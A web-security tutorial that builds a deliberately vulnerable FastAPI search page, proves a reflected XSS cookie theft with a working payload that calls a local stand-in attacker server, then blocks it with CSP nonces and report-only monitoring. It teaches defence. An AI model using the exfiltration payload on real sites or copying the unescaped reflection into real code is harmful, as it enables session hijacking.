TRENDING
A bronze-framed hourglass with white sand beside a small Ferris wheel ornament on a wooden table against a teal wall
October 28, 2026
NIST’s Final Post-Quantum Transition Report Puts Every Quantum-Vulnerable Public-Key Scheme on One 2030 and 2035 Clock, and Three Federal Documents Word the Deadline Three Ways
Six weathered stone columns of the Temple of Apollo at Delphi, Greece, standing on a stone platform above a valley of olive groves
October 28, 2026
Honeypots Recorded Probes Against Oracle E-Business Suite CVE-2026-101767 Seven Days After Its Patch, and the Finder’s Write-Up Is Dated Patch Day
Vintage silver stopwatch with a chain on a black background, its dial showing seconds from 5 to 60
October 28, 2026
How to Find a Slow Query in PostgreSQL 18 With pg_stat_statements, Read Its EXPLAIN ANALYZE Plan, and Fix It With the Right Index
A wooden Tower of Hanoi puzzle on a market table, with three pegs and stacked discs of different sizes
October 28, 2026
Two Labs’ Claimed Refutations of the Exponential Time Hypothesis Turn Verification Into a Statement-Reading Problem, and Their Lean Theorems Promise Only That a Constant Exists
Two earthworms lying together on wet brown leaf litter, photographed close up
October 28, 2026
Tailscale Merged Fixes for Most of the 11 “Tailworm” Findings Before Shipping a Release, and the Forwarding Switch It Recommends Already Exists in the Shipped Client
28 Oct 2026
SXZ.io SXZ.io
  • Home
Search the Site
Popular Searches:
Technology Amazon AI
Recent Posts
An old green steel truss bridge resting on temporary supports beside a new arch bridge under completion on a river in Portland, Oregon
The Angular 2 Rewrite Turns a Migration Lesson Into a Security Bill: AngularJS Still Draws 533,480 Downloads a Week, and 10 Advisories Have No Open-Source Fix
October 28, 2026
Hundreds of yellow rubber ducks floating in a river enclosure during a duck race
WordPress 7.1.4 Closes an Unauthenticated Race in Its Own Update Routine, but 19 Older Branches Had No Backport Hours After Release
October 28, 2026
A mountain gorilla looks at the camera from green forest undergrowth
How to Compress Time-Series Metrics in Python With Gorilla Delta-of-Delta and XOR Encoding
October 28, 2026
SXZ.io SXZ.io
  • Home

Categories

Articles 270 Posts
News 273 Posts
Learning Hub 242 Posts
Home/Learning Hub/How to Stop XSS Attacks in a Python Web App With a Content Security Policy
Learning Hub

How to Stop XSS Attacks in a Python Web App With a Content Security Policy

A hands-on tutorial that builds a real XSS exploit, then locks it down with CSP nonces, a safe Report-Only rollout, and two common gotchas verified against a real Chromium browser.

August 30, 2026 17 Min Read
131

Most sites eventually ship an HTML-escaping bug. A comment box, a search field, a profile
name, one unescaped value is all it takes for an attacker to inject a <script>
tag into your page and run their own JavaScript inside a real visitor’s browser session. That
class of bug is called cross-site scripting (XSS), and the standard defense
(escaping user input before it hits HTML) is necessary but not sufficient: it only works if
every single place that touches untrusted data remembers to do it, forever, across every future
code change.

Table Of Content

  • Prerequisites
  • Step 1: Build a small site with a real reflected XSS bug
  • Step 2: Prove the exploit actually works
  • What a Content Security Policy actually is
  • Step 3: Add a first Content Security Policy
  • Step 4: Allow specific scripts with a per-request nonce
  • Step 5: Roll out safely and capture real violation reports
  • Step 6: Two gotchas that catch people the first time
  • Gotcha 1: inline event handler attributes are not covered by script nonces
  • Gotcha 2: third-party scripts need an explicit allowlist entry
  • Verifying it all end to end
  • Next steps

A Content Security Policy (CSP) is a second, independent layer of defense.
It is an HTTP response header that tells the browser, in effect: “only run scripts that come
from these specific places, and refuse everything else, no matter how it got into the page.”
Even if an attacker successfully injects a <script> tag through a bug you
missed, a correctly configured CSP can stop the browser from ever executing it.

In this tutorial you will build a small Python web app with a real, working XSS
vulnerability, prove the exploit actually steals a cookie using a real browser, and then lock
the page down step by step with CSP: a blunt first policy, per-request nonces that let your own
scripts run while blocking everything else, a safe reporting mode for rolling CSP out on a live
site without breaking it, and two common gotchas that trip people up the first time. Every
command below was run against a real local Python server and a real Chromium browser instance,
and the terminal output shown is copied from those runs, not invented.

Prerequisites

  • Python 3.11 or newer with pip. This tutorial was built and tested on Python
    3.13.14.
  • Basic familiarity with HTML and HTTP response headers. You do not need prior CSP
    experience; that is what this tutorial teaches.
  • A terminal and a text editor.
  • The following Python packages: fastapi, uvicorn, and
    playwright (which drives a real, scriptable Chromium browser so you can watch
    the exploit and the fixes actually happen, instead of just reading about them). This tutorial
    was tested against fastapi 0.141.1, uvicorn 0.52.1, playwright 1.62.0, and the Chromium 151
    build that playwright install downloads.

Install them and download a Chromium binary for Playwright to drive:

pip install fastapi uvicorn playwright
python -m playwright install chromium

Everything in this tutorial runs on 127.0.0.1 against small FastAPI apps you
will write yourself. No account signups, no cloud services, no real users at risk.

Step 1: Build a small site with a real reflected XSS bug

Reflected XSS happens when a server takes a value straight from the request (a query
parameter, a form field, a URL path segment) and writes it into the HTML response without
escaping it first. The browser cannot tell the difference between “HTML the site owner wrote”
and “HTML an attacker snuck in through a query parameter”; it just parses whatever bytes arrive
and runs any <script> tags it finds.

Here is a tiny “site search” page for an electronics store. It reflects the user’s search
term back onto the page under “You searched for:”, which is a completely ordinary, common
pattern, and it does so with an ordinary, common bug: no escaping.

"""A tiny 'site search' page that reflects the query back into HTML with zero escaping.
This is a classic reflected XSS bug. No CSP header is sent at all.
Run with: uvicorn step1_vulnerable_app:app --port 8001
"""
from fastapi import FastAPI
from fastapi.responses import HTMLResponse

app = FastAPI()

CATALOG = ["Wireless Mouse", "Mechanical Keyboard", "USB-C Hub", "27in Monitor"]


@app.get("/search", response_class=HTMLResponse)
def search(q: str = ""):
    results = [item for item in CATALOG if q.lower() in item.lower()] if q else CATALOG
    items_html = "".join(f"<li>{item}</li>" for item in results)
    # BUG: q is dropped straight into the page with no HTML-escaping.
    return f"""<!DOCTYPE html>
<html>
<head><title>Store Search</title></head>
<body>
<h1>Search results</h1>
<p>You searched for: {q}</p>
<ul>{items_html}</ul>
</body>
</html>"""

Run it with Uvicorn (FastAPI’s ASGI server) on port 8001:

uvicorn step1_vulnerable_app:app --port 8001 --host 127.0.0.1

A normal search works exactly as you would expect:

$ curl -s "http://127.0.0.1:8001/search?q=mouse"
<!DOCTYPE html>
<html>
<head><title>Store Search</title></head>
<body>
<h1>Search results</h1>
<p>You searched for: mouse</p>
<ul><li>Wireless Mouse</li></ul>
</body>
</html>

Nothing looks wrong yet, because mouse does not contain any HTML. The bug only
shows up when the input itself looks like markup.

Step 2: Prove the exploit actually works

Talk is cheap; let’s actually steal a cookie. We need a stand-in for the attacker’s own
server, somewhere the stolen data can be sent. This tiny FastAPI app plays that role, listening
on a different port to simulate a different origin entirely:

"""Stands in for a real attacker's collection server on a different origin.
Run with: uvicorn attacker_server:app --port 9001
"""
from fastapi import FastAPI, Request

app = FastAPI()
stolen = []


@app.get("/steal")
def steal(cookie: str = ""):
    stolen.append(cookie)
    print(f"[attacker_server] STOLEN COOKIE: {cookie!r}")
    return {"received": True}


@app.get("/stolen")
def list_stolen():
    return {"stolen": stolen}

Run it on port 9001:

uvicorn attacker_server:app --port 9001 --host 127.0.0.1

Now the actual exploit. We drive a real Chromium browser with Playwright, give it a fake
session cookie (standing in for a real logged-in user’s session token), and navigate it to the
vulnerable search page with a malicious q parameter: a
<script> tag that fetches the attacker’s server, passing along
document.cookie.

"""Drives a real Chromium browser to the vulnerable search page with a malicious
`q` payload and proves the reflected XSS actually steals a cookie.
Requires step1_vulnerable_app.py on :8001 and attacker_server.py on :9001 to be running.
"""
import urllib.parse
import urllib.request
import json
from playwright.sync_api import sync_playwright

VULN_ORIGIN = "http://127.0.0.1:8001"
ATTACKER_ORIGIN = "http://127.0.0.1:9001"

# Reset the attacker's collection before the run
urllib.request.urlopen(f"{ATTACKER_ORIGIN}/stolen")

payload = f"<script>fetch('{ATTACKER_ORIGIN}/steal?cookie=' + document.cookie)</script>"
url = f"{VULN_ORIGIN}/search?q=" + urllib.parse.quote(payload)

console_messages = []
csp_violations = []

with sync_playwright() as p:
    browser = p.chromium.launch()
    context = browser.new_context()
    # Give the victim a session cookie worth stealing, like a real logged-in user.
    context.add_cookies([{
        "name": "session_id",
        "value": "REAL-SESSION-TOKEN-abc123",
        "domain": "127.0.0.1",
        "path": "/",
    }])
    page = context.new_page()
    page.on("console", lambda msg: console_messages.append(f"{msg.type}: {msg.text}"))
    page.goto(url)
    page.wait_for_timeout(1000)  # let the injected fetch() land
    browser.close()

print("Console messages captured:")
for m in console_messages:
    print(" ", m)

with urllib.request.urlopen(f"{ATTACKER_ORIGIN}/stolen") as resp:
    stolen = json.loads(resp.read())

print("\nAttacker server's /stolen endpoint now shows:")
print(" ", stolen)

if stolen["stolen"] and "REAL-SESSION-TOKEN" in stolen["stolen"][-1]:
    print("\nEXPLOIT SUCCEEDED: the victim's session cookie was exfiltrated to the attacker.")
else:
    print("\nExploit did not succeed this run.")

Run it (with both servers from above still running):

$ python step2_exploit_demo.py
Console messages captured:
  error: Access to fetch at 'http://127.0.0.1:9001/steal?cookie=session_id=REAL-SESSION-TOKEN-abc123' from origin 'http://127.0.0.1:8001' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
  error: Failed to load resource: net::ERR_FAILED

Attacker server's /stolen endpoint now shows:
  {'stolen': ['test123', 'session_id=REAL-SESSION-TOKEN-abc123']}

EXPLOIT SUCCEEDED: the victim's session cookie was exfiltrated to the attacker.

Read that output carefully, because it contains a genuine trap. The browser console shows a
CORS error, and it is tempting to read that as “the browser blocked the attack.” It did not.
The attacker’s server received the real cookie anyway; check the printed /stolen
list. Here is why: the cross-origin fetch() call is a “simple request” under the
CORS specification (a plain GET with no custom headers), so the browser still sends it over the
network before it evaluates whether the response is allowed to be read back by the page’s
JavaScript. CORS’s job is to stop a malicious page from reading data back from another origin’s
API; it was never designed to stop a page from sending data to another origin in the first
place, and here the entire “steal the cookie” payload was smuggled inside the request’s own
query string, which the CORS check has no power to prevent. A CORS error in the console
does not mean an exfiltration attempt failed.
This is exactly the class of attack CSP’s
connect-src and script-src directives are built to stop instead, which
you will see for yourself in the next step.

What a Content Security Policy actually is

A CSP is delivered as an HTTP response header called Content-Security-Policy,
whose value is a semicolon-separated list of directives. Each directive names a resource type
and an allowlist of places that resource type is permitted to load from. The most important
ones for this tutorial:

  • default-src: the fallback allowlist used for any resource type that does not
    have its own more specific directive.
  • script-src: which sources are allowed to provide JavaScript. This is the
    directive that matters most for stopping XSS.
  • connect-src: which URLs the page’s own script is allowed to connect to via
    fetch(), XMLHttpRequest, WebSockets, and similar APIs.
  • object-src: sources for <object> and <embed>,
    commonly set to 'none' since these are rarely needed and historically risky.
  • base-uri: restricts what a page’s <base> tag is allowed to
    point at, closing off a lesser-known injection trick.

Crucially, this is an allowlist, not a blocklist. You do not tell the
browser what to reject; you tell it exactly what is allowed, and it rejects everything else by
default. That is what makes it effective against injection bugs you have not found yet: the
policy does not need to know about a specific attack payload, because anything that is not on
the list is refused regardless of how it arrived.

Step 3: Add a first Content Security Policy

Let’s add the bluntest possible policy: only allow scripts from the page’s own origin
('self'), nothing inline, nothing from anywhere else. FastAPI middleware is a
convenient place to attach the header to every response:

"""Same search page, but now every response carries a strict CSP header.
No nonces yet: this is the blunt, everything-off version.
Run with: uvicorn step3_csp_basic:app --port 8002
"""
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse

app = FastAPI()

CATALOG = ["Wireless Mouse", "Mechanical Keyboard", "USB-C Hub", "27in Monitor"]

CSP_POLICY = "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'"


@app.middleware("http")
async def add_csp_header(request: Request, call_next):
    response = await call_next(request)
    response.headers["Content-Security-Policy"] = CSP_POLICY
    return response


@app.get("/search", response_class=HTMLResponse)
def search(q: str = ""):
    results = [item for item in CATALOG if q.lower() in item.lower()] if q else CATALOG
    items_html = "".join(f"<li>{item}</li>" for item in results)
    # A legitimate inline script the site owner actually wants to run
    # (e.g. a small analytics beacon). Still no escaping bug fixed yet.
    return f"""<!DOCTYPE html>
<html>
<head><title>Store Search</title></head>
<body>
<h1>Search results</h1>
<p>You searched for: {q}</p>
<ul>{items_html}</ul>
<script>console.log('legit inline analytics beacon fired');</script>
</body>
</html>"""

Run it on port 8002, then hit it once with a normal request to confirm the header is
present:

$ uvicorn step3_csp_basic:app --port 8002 --host 127.0.0.1
$ curl -s -D - -o /dev/null "http://127.0.0.1:8002/search?q=mouse"
HTTP/1.1 200 OK
content-security-policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

Now load both the legitimate page and the exploit payload through a real browser and watch
the console:

=== Legit page (q=mouse), does the analytics beacon still log? ===
  error: Executing inline script violates the following Content Security Policy directive
  'script-src 'self''. Either the 'unsafe-inline' keyword, a hash
  ('sha256-5AX6/Ibn3HVRLMvyRLnffG+oQGitv0EoRxvsA0Cdk6U='), or a nonce ('nonce-...') is required
  to enable inline execution. The action has been blocked.

=== Exploit payload, does the injected script still fire? ===
  error: Executing inline script violates ... (same message, different hash)
  error: Executing inline script violates ... (blocked again for the legit script too)

Stolen list before: {'stolen': ['test123', 'session_id=REAL-SESSION-TOKEN-abc123']}
Stolen list after:  {'stolen': ['test123', 'session_id=REAL-SESSION-TOKEN-abc123']}
Exploit blocked: no new cookie reached the attacker.

Good news: the attacker’s injected script is dead. Bad news: so is the site’s own
legitimate inline analytics script. This blunt policy has no way to distinguish “a
<script> tag the site owner wrote on purpose” from “a
<script> tag an attacker injected.” It blocks both, which is safe but
useless if your page actually needs any inline script at all. Notice also the exact
sha256-... hash Chromium printed for each blocked script; CSP supports allowlisting
specific inline scripts by the hash of their exact contents instead of by nonce, which is a
reasonable option for static scripts that never change (more on that in Next Steps).

Step 4: Allow specific scripts with a per-request nonce

A nonce (“number used once”) is a random value the server generates fresh
for every single HTTP response and includes both in the CSP header and as an attribute on the
specific <script> tags it wants to allow. The browser only runs a
<script> element whose nonce attribute exactly matches the
value in the policy for that response. An attacker injecting a new
<script> tag through a data field has no way to know or predict that value,
because it changes on every request and is never reused.

Two things matter for a nonce to actually provide security: it must come from a
cryptographically secure random source (not something guessable like a counter or a
timestamp), and it must never be reused across responses. Python’s secrets module
is built for exactly this.

"""Adds a fresh per-request nonce. Only the <script> tag carrying the correct
nonce attribute is allowed to run; everything else, including injected script
tags and 'unsafe-inline', is still blocked.
Run with: uvicorn step4_csp_nonce:app --port 8003
"""
import secrets
from html import escape

from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse

app = FastAPI()

CATALOG = ["Wireless Mouse", "Mechanical Keyboard", "USB-C Hub", "27in Monitor"]


@app.get("/search", response_class=HTMLResponse)
def search(q: str = ""):
    nonce = secrets.token_urlsafe(16)
    results = [item for item in CATALOG if q.lower() in item.lower()] if q else CATALOG
    items_html = "".join(f"<li>{item}</li>" for item in results)

    # Include 'unsafe-inline' too, on purpose, to prove modern browsers ignore
    # it the moment a nonce-source is present in the same directive.
    policy = (
        f"default-src 'self'; "
        f"script-src 'self' 'nonce-{nonce}' 'unsafe-inline'; "
        f"object-src 'none'; base-uri 'self'"
    )

    html = f"""<!DOCTYPE html>
<html>
<head><title>Store Search</title></head>
<body>
<h1>Search results</h1>
<p>You searched for: {q}</p>
<ul>{items_html}</ul>
<script nonce="{nonce}">console.log('legit inline analytics beacon fired, nonce ok');</script>
</body>
</html>"""
    resp = HTMLResponse(content=html)
    resp.headers["Content-Security-Policy"] = policy
    return resp

Notice the policy deliberately includes 'unsafe-inline' alongside the nonce.
That looks like a mistake, but it is not: it is a documented fallback for genuinely ancient
browsers that predate nonce support, and modern browsers are specifically designed to ignore
'unsafe-inline' the moment a nonce or hash is present in the same directive, per
MDN’s Content-Security-Policy reference. You can verify
that claim yourself in the captured output below rather than taking it on faith.

Run it on port 8003 and test both the legitimate request and the exploit again:

$ uvicorn step4_csp_nonce:app --port 8003 --host 127.0.0.1

=== Legit page (q=mouse): does the nonce'd analytics beacon log? ===
  log: legit inline analytics beacon fired, nonce ok

=== Exploit payload: does the attacker's un-nonced script fire? ===
  error: Executing inline script violates the following Content Security Policy directive
  'script-src 'self' 'nonce-ZNClcUESltVkC7qqXNtMrw' 'unsafe-inline''. Note that 'unsafe-inline'
  is ignored if either a hash or nonce value is present in the source list. The action has been
  blocked.
  log: legit inline analytics beacon fired, nonce ok

Stolen list before: {'stolen': ['test123', 'session_id=REAL-SESSION-TOKEN-abc123']}
Stolen list after:  {'stolen': ['test123', 'session_id=REAL-SESSION-TOKEN-abc123']}
Exploit blocked: attacker's script never ran, no cookie leaked.

This is exactly the outcome you want: the legitimate, nonce-carrying script runs normally
on every page load, and the attacker’s injected script (which has no way to guess the current
nonce) is blocked, with Chromium’s own error message confirming in plain language that
'unsafe-inline' was ignored because a nonce was present. The exploit that worked
all the way back in Step 2 is now completely dead, and legitimate functionality never broke.

Step 5: Roll out safely and capture real violation reports

Flipping a strict CSP on in production without knowing what it will break is risky: any
inline script, third-party widget, or analytics snippet you forgot about will simply stop
working, silently, with no error visible to your users beyond a broken page. CSP has a built-in
safe rollout mechanism for exactly this: send the policy as
Content-Security-Policy-Report-Only instead of Content-Security-Policy.
In this mode, the browser evaluates the policy and reports what it would have blocked, but
blocks nothing. You watch real traffic, fix whatever the reports turn up, and only then switch
the header name to the enforcing version.

The CSP spec defines two ways to receive those reports: the old report-uri
directive (a URL the browser POSTs a JSON report to directly) and the newer
report-to directive, which points at a named endpoint declared in a separate
Reporting-Endpoints response header and is delivered through the browser’s general
Reporting API. I configured both, since MDN’s own documentation on
the report-uri directive explicitly recommends sending
both while report-to support is still catching up:

policy_report_only = (
    "default-src 'self'; "
    "script-src 'self' 'nonce-{nonce}'; "
    "object-src 'none'; base-uri 'self'; "
    "report-uri /csp-violation-report; "
    "report-to csp-endpoint"
)
resp.headers["Content-Security-Policy-Report-Only"] = policy_report_only
resp.headers["Reporting-Endpoints"] = 'csp-endpoint="http://127.0.0.1:8004/csp-violation-report"'

I ran the exploit payload against this Report-Only server, waited eight full seconds, then
navigated away to force any pending reports to flush, then checked the server’s log and its
/reports endpoint. The result was not what the spec’s happy path suggests:

Console (confirms the policy IS being evaluated, just not enforced):
  info: Executing inline script violates ... The policy is report-only, so the violation has
  been logged but no further action has been taken.
  info: Connecting to 'http://127.0.0.1:9001/steal?cookie=' violates ... "default-src 'self'" ...
  The policy is report-only, so the violation has been logged but no further action has been
  taken.

Server-side network trace (every request Chromium actually sent to 127.0.0.1:8004):
  REQUEST  GET http://127.0.0.1:8004/search?q=...
  FINISHED GET http://127.0.0.1:8004/search?q=...

Reports received by the server: 0

Zero. Not “arrived late”, not “malformed”; a full network trace of every request the
browser made confirmed it never even attempted a POST to the report endpoint, despite the
console explicitly confirming it detected and logged the violation internally. Part of this has
a documented explanation: MDN’s own report-uri page states plainly, “in browsers that support
report-to, the report-uri directive is ignored,” and I had both
directives active at once. But that only explains half the silence; the modern
report-to mechanism produced nothing either. One caveat worth stating plainly: this
test ran in headless Chromium driven by Playwright automation, not a normal, headed, day-to-day
browser session, so this specific silent-delivery result may not generalize to every browser and
setup. What it does prove is that report-uri/report-to delivery is not something you can take on
faith. Treat it as best-effort, not guaranteed, and verify it against your own actual browser and
network before depending on it for anything security-critical, which is what the network trace
above was for.

The fix is to not depend on the browser’s background delivery at all. The
securitypolicyviolation DOM event fires synchronously, inside the page itself,
the instant a violation happens, completely independent of whatever the Reporting API is doing
in the background. You can listen for it with plain JavaScript and beacon the details to your
own server using navigator.sendBeacon(), which is specifically designed to
reliably deliver a small payload even if the page is about to unload:

"""Same Report-Only policy, but instead of trusting the browser's built-in
report-uri/report-to delivery, we listen for the securitypolicyviolation DOM
event client-side and beacon it ourselves. This is the pattern many production
sites fall back to because report-uri/report-to delivery is best-effort only.
Run with: uvicorn step5d_csp_reporting_beacon:app --port 8005
"""
import json
import secrets

from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse, JSONResponse

app = FastAPI()

CATALOG = ["Wireless Mouse", "Mechanical Keyboard", "USB-C Hub", "27in Monitor"]
received_reports = []

BEACON_SCRIPT = """
document.addEventListener('securitypolicyviolation', (e) => {
  const report = {
    blockedURI: e.blockedURI,
    violatedDirective: e.violatedDirective,
    effectiveDirective: e.effectiveDirective,
    originalPolicy: e.originalPolicy,
    disposition: e.disposition,
    sourceFile: e.sourceFile,
    lineNumber: e.lineNumber,
  };
  navigator.sendBeacon('/csp-violation-report', JSON.stringify(report));
});
"""


@app.get("/search", response_class=HTMLResponse)
def search(q: str = ""):
    nonce = secrets.token_urlsafe(16)
    results = [item for item in CATALOG if q.lower() in item.lower()] if q else CATALOG
    items_html = "".join(f"<li>{item}</li>" for item in results)

    policy_report_only = (
        f"default-src 'self'; "
        f"script-src 'self' 'nonce-{nonce}'; "
        f"object-src 'none'; base-uri 'self'"
    )

    html = f"""<!DOCTYPE html>
<html>
<head>
<title>Store Search</title>
<script nonce="{nonce}">{BEACON_SCRIPT}</script>
</head>
<body>
<h1>Search results</h1>
<p>You searched for: {q}</p>
<ul>{items_html}</ul>
<script nonce="{nonce}">console.log('legit inline analytics beacon fired');</script>
</body>
</html>"""
    resp = HTMLResponse(content=html)
    resp.headers["Content-Security-Policy-Report-Only"] = policy_report_only
    return resp


@app.post("/csp-violation-report")
async def csp_violation_report(request: Request):
    body = await request.body()
    try:
        parsed = json.loads(body)
    except Exception:
        parsed = {"raw": body.decode(errors="replace")}
    received_reports.append(parsed)
    print(f"[csp-violation-report via sendBeacon] {json.dumps(parsed, indent=2)}")
    return JSONResponse(status_code=204, content=None)


@app.get("/reports")
def list_reports():
    return {"reports": received_reports}

One detail matters a lot here: the listener script is placed in <head>,
before any of the page’s own body content, including the reflected (and potentially malicious)
search term. MDN’s documentation for this event specifically recommends
registering the handler on a top-level object as early as possible, and it is easy to see why:
if the listener were registered further down the page, any violation triggered by content
above it would fire and be missed before the listener even exists.

Run it on port 8005 and repeat the exploit:

$ uvicorn step5d_csp_reporting_beacon:app --port 8005 --host 127.0.0.1
$ python step5d_test.py
Reports received via sendBeacon: 3
{
  "blockedURI": "inline",
  "violatedDirective": "script-src-elem",
  "effectiveDirective": "script-src-elem",
  "originalPolicy": "default-src 'self'; script-src 'self' 'nonce-Sybary_uuGBeexE-MCuueg'; object-src 'none'; base-uri 'self'",
  "disposition": "report",
  "sourceFile": "http://127.0.0.1:8005/search",
  "lineNumber": 22
}
{
  "blockedURI": "http://127.0.0.1:9001/steal?cookie=",
  "violatedDirective": "connect-src",
  "effectiveDirective": "connect-src",
  "originalPolicy": "default-src 'self'; script-src 'self' 'nonce-Sybary_uuGBeexE-MCuueg'; object-src 'none'; base-uri 'self'",
  "disposition": "report",
  "sourceFile": "http://127.0.0.1:8005/search",
  "lineNumber": 22
}
{ ... a second connect-src report for the same blocked connection attempt ... }

This is real, useful data: blockedURI and violatedDirective tell
you exactly what was blocked and by which rule, sourceFile and
lineNumber tell you where on the page it happened, and disposition
confirms whether this was a Report-Only observation or an actual enforcement action. Notice the
browser reported two separate, distinct violations for one exploit attempt: the inline
<script> tag itself violated script-src-elem, and, separately,
the fetch() call that script would have made violated connect-src. CSP
evaluates each stage independently, which is exactly the defense-in-depth behavior you want.
Watch a stream of these reports on a real site for a few days in Report-Only mode, fix whatever
legitimate functionality shows up, and only then rename the header to the enforcing
Content-Security-Policy.

Step 6: Two gotchas that catch people the first time

Gotcha 1: inline event handler attributes are not covered by script nonces

An onclick="..." attribute looks like it should behave the same as a
<script> tag, but CSP treats it as a completely separate category. MDN’s
directive reference is explicit about this: “Nonce source expressions are only applicable
to <script> and <style> elements”
, not to attributes.
Here is a page with one button wired up the modern way
(addEventListener) and one wired up the old way (an inline onclick
attribute), both under a nonce-based policy:

<button id="ok-btn">addEventListener button</button>
<button onclick="console.log('onclick fired')">inline onclick button</button>
<script nonce="{nonce}">
document.getElementById('ok-btn').addEventListener('click', () => {
  console.log('addEventListener click handler fired');
});
</script>

Clicking each button in a real browser under this policy produces:

log: addEventListener click handler fired

error: Executing inline event handler violates the following Content Security Policy directive
'script-src 'self' 'nonce-l6zcY0vuUWy2nEHTe4wLmw''. Either the 'unsafe-inline' keyword, a hash
('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution. Note that
hashes do not apply to event handlers, style attributes and javascript: navigations unless the
'unsafe-hashes' keyword is present. The action has been blocked.

The addEventListener button works fine because the code that wires it up lives
inside a properly nonce’d <script> element. The inline
onclick attribute is blocked outright, and Chromium’s own error message spells out
the fix if you genuinely cannot avoid inline handlers: the separate
'unsafe-hashes' keyword. In practice, the simpler and more maintainable fix is
almost always to move event wiring out of HTML attributes and into
addEventListener calls inside your nonce’d scripts, which most modern frontend
code already does.

Gotcha 2: third-party scripts need an explicit allowlist entry

A nonce only covers scripts your own server renders. A <script src="...">
tag pointing at a third-party CDN or widget is governed entirely by the host allowlist in
script-src, and an origin that is not explicitly listed is blocked, full stop:

script-src 'self' 'nonce-{nonce}' https://cdn.example-allowed.test;

<script src="https://widgets.not-allowlisted.test/widget.js"></script>
error: Loading the script 'https://widgets.not-allowlisted.test/widget.js' violates the
following Content Security Policy directive: "script-src 'self' 'nonce-nQo98yysXJXLS7h7_QDEOw'
https://cdn.example-allowed.test". Note that 'script-src-elem' was not explicitly set, so
'script-src' is used as a fallback. The action has been blocked.

The fix is straightforward once you know it is happening: add the exact origin the
third-party script is served from to your script-src allowlist. For a script that
never changes, consider pinning it with a hash (the same sha256-... mechanism from
Step 3) instead of trusting the origin indefinitely; that way, if the CDN is ever compromised
and starts serving different content from the same URL, your CSP stops it from running.

Verifying it all end to end

Before you rely on a CSP in production, confirm each of these:

  1. The header is actually present and correctly formed.
    curl -s -D - -o /dev/null "https://your-site/some-page" and check the
    Content-Security-Policy value line by line.
  2. Legitimate functionality still works. Open the real page in a browser,
    open DevTools’ Console tab, and click through every interactive feature on the page. Any CSP
    violation for something you intended to allow shows up there immediately with a clear
    directive name.
  3. Roll out in Report-Only mode first and watch your
    securitypolicyviolation-driven report endpoint (built in Step 5) for a realistic
    traffic window, not just your own manual clicking, before switching to the enforcing header.
  4. Re-test the exploit you started with. If you had a real reflected XSS bug
    like the one in Step 1, confirm your enforcing CSP actually stops it end to end, the way this
    tutorial’s Step 4 test did, rather than assuming the policy syntax alone is enough.

Next steps

A few directions worth exploring once the fundamentals here are solid:

  • Hash-source CSP ('sha256-...') as a nonce alternative for
    scripts that are truly static and never change between requests; no per-request generation
    needed, at the cost of having to update the hash every time the script’s contents change.
  • 'strict-dynamic', a CSP Level 3 keyword that lets a
    nonce’d or hashed script dynamically load further scripts it trusts, useful for sites with
    complex, dynamically-loaded bundles where hand-allowlisting every host is impractical.
  • Trusted Types (require-trusted-types-for 'script'), which
    goes a layer deeper than script-loading and restricts what values are allowed to reach
    DOM XSS sinks like innerHTML in the first place.
  • Other security headers that pair naturally with CSP:
    X-Content-Type-Options: nosniff, Referrer-Policy, and
    Permissions-Policy, each closing off a different, narrower class of browser
    behavior an attacker could otherwise abuse.

None of these replace the fundamentals: escape untrusted output, generate a fresh
cryptographically random nonce on every response, and treat CSP as one more layer in a
defense-in-depth strategy rather than a single silver bullet.

Tags:

content-security-policyFastAPIPythonWeb SecurityXSS

Share

A large Caterpillar 797 mining haul truck on a mine site road
Previous Post

Caterpillar Turns Decades of Autonomous Mining Into an AI Deployment Playbook

Aerial view of the Pentagon building in Arlington, Virginia, with the Washington Monument visible in the background
Next Post

Federal Judge Rules Pentagon’s Blacklisting of Anthropic Was Illegal

No Comment! Be the first one.

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Latest
28 Oct
The Angular 2 Rewrite Turns a Migration Lesson Into a Security Bill: AngularJS Still Draws 533,480 Downloads a Week, and 10 Advisories Have No Open-Source Fix
28 Oct
WordPress 7.1.4 Closes an Unauthenticated Race in Its Own Update Routine, but 19 Older Branches Had No Backport Hours After Release
Trending
October 28, 2026
The Angular 2 Rewrite Turns a Migration Lesson Into a Security Bill: AngularJS Still Draws 533,480 Downloads a Week, and 10 Advisories Have No Open-Source Fix
October 28, 2026
WordPress 7.1.4 Closes an Unauthenticated Race in Its Own Update Routine, but 19 Older Branches Had No Backport Hours After Release
October 28, 2026
How to Compress Time-Series Metrics in Python With Gorilla Delta-of-Delta and XOR Encoding
October 28, 2026
NIST’s Final Post-Quantum Transition Report Puts Every Quantum-Vulnerable Public-Key Scheme on One 2030 and 2035 Clock, and Three Federal Documents Word the Deadline Three Ways
October 28, 2026
Honeypots Recorded Probes Against Oracle E-Business Suite CVE-2026-101767 Seven Days After Its Patch, and the Finder’s Write-Up Is Dated Patch Day
October 27, 2026
How to Find a Slow Query in PostgreSQL 18 With pg_stat_statements, Read Its EXPLAIN ANALYZE Plan, and Fix It With the Right Index

Related Posts

A laptop wrapped in a chain and padlock, illustrating least-privilege controls for AI agents.
Learning Hub

How to Secure Tool-Using AI Agents Before They Touch Production

June 8, 2026
Colorful sticky notes arranged on an office wall, symbolizing governance checklists and planning.
Learning Hub

AI Governance for Agentic Apps: A Practical Checklist for Builders

June 8, 2026
A technician connects green fiber optic cables at a data center, representing a private production inference endpoint.
Learning Hub

How to Deploy a Fine-Tuned LLM Behind a Private Production Inference Endpoint

June 8, 2026
Narrow aisle behind black supercomputer racks in a data center
Learning Hub

Kubernetes SELinux Volume Labeling: What Cluster Operators Should Audit Before v1.37

June 8, 2026
SXZ.io SXZ.io
  • [email protected]

Categories

Articles
Learning Hub
News

All Rights Reserved by SXZ.io ©2026